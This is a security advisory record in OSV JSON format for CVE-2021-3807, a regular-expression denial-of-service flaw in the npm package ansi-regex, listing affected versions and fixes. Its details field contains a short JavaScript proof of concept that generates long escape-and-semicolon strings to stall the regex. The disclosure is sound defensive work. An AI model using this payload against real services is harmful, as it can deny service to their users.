{"id":"GHSA-93q8-gq69-wqmw","summary":"Inefficient Regular Expression Complexity in chalk/ansi-regex","details":"ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.\n\n**Proof of Concept**\n```js\nimport ansiRegex from 'ansi-regex';\nfor(var i = 1; i \u003c= 50000; i++) {\n    var time = Date.now();\n    var attack_str = \"\\u001B[\"+\";\".repeat(i*10000);\n    ansiRegex().test(attack_str)\n    var time_cost = Date.now() - time;\n    console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\n}\n```\nThe ReDOS is mainly due to the sub-patterns `[[\\\\]()#;?]*` and `(?:;[-a-zA-Z\\\\d\\\\/#&.:=?%@~_]*)*`","aliases":["CVE-2021-3807"],"modified":"2026-08-07T15:11:59.482444894Z","published":"2021-09-20T20:20:09Z","related":["CGA-7v44-hxgv-54c8"],"database_specific":{"cwe_ids":["CWE-1333","CWE-697"],"github_reviewed_at":"2021-09-20T18:56:22Z","github_reviewed":true,"nvd_published_at":"2021-09-17T07:15:00Z","severity":"HIGH"},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-3807"},{"type":"WEB","url":"https://github.com/chalk/ansi-regex/issues/38#issuecomment-924086311"},{"type":"WEB","url":"https://github.com/chalk/ansi-regex/issues/38#issuecomment-925924774"},{"type":"WEB","url":"https://github.com/chalk/ansi-regex/commit/419250fa510bf31b4cc672e76537a64f9332e1f1"},{"type":"WEB","url":"https://github.com/chalk/ansi-regex/commit/75a657da7af875b2e2724fd6331bf0a4b23d3c9a"},{"type":"WEB","url":"https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9"},{"type":"WEB","url":"https://github.com/chalk/ansi-regex/commit/c3c0b3f2736b9c01feec0fef33980c43720dcde8"},{"type":"WEB","url":"https://app.snyk.io/vuln/SNYK-JS-ANSIREGEX-1583908"},{"type":"PACKAGE","url":"https://github.com/chalk/ansi-regex"},{"type":"WEB","url":"https://github.com/chalk/ansi-regex/releases/tag/v6.0.1"},{"type":"WEB","url":"https://huntr.dev/bounties/5b3cf33b-ede0-4398-9974-800876dfd994"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20221014-0002"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpuapr2022.html"}],"affected":[{"package":{"name":"ansi-regex","ecosystem":"npm","purl":"pkg:npm/ansi-regex"},"ranges":[{"type":"SEMVER","events":[{"introduced":"6.0.0"},{"fixed":"6.0.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/09/GHSA-93q8-gq69-wqmw/GHSA-93q8-gq69-wqmw.json"}},{"package":{"name":"ansi-regex","ecosystem":"npm","purl":"pkg:npm/ansi-regex"},"ranges":[{"type":"SEMVER","events":[{"introduced":"5.0.0"},{"fixed":"5.0.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/09/GHSA-93q8-gq69-wqmw/GHSA-93q8-gq69-wqmw.json"}},{"package":{"name":"ansi-regex","ecosystem":"npm","purl":"pkg:npm/ansi-regex"},"ranges":[{"type":"SEMVER","events":[{"introduced":"4.0.0"},{"fixed":"4.1.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/09/GHSA-93q8-gq69-wqmw/GHSA-93q8-gq69-wqmw.json"}},{"package":{"name":"ansi-regex","ecosystem":"npm","purl":"pkg:npm/ansi-regex"},"ranges":[{"type":"SEMVER","events":[{"introduced":"3.0.0"},{"fixed":"3.0.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/09/GHSA-93q8-gq69-wqmw/GHSA-93q8-gq69-wqmw.json"}}],"schema_version":"1.7.3","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}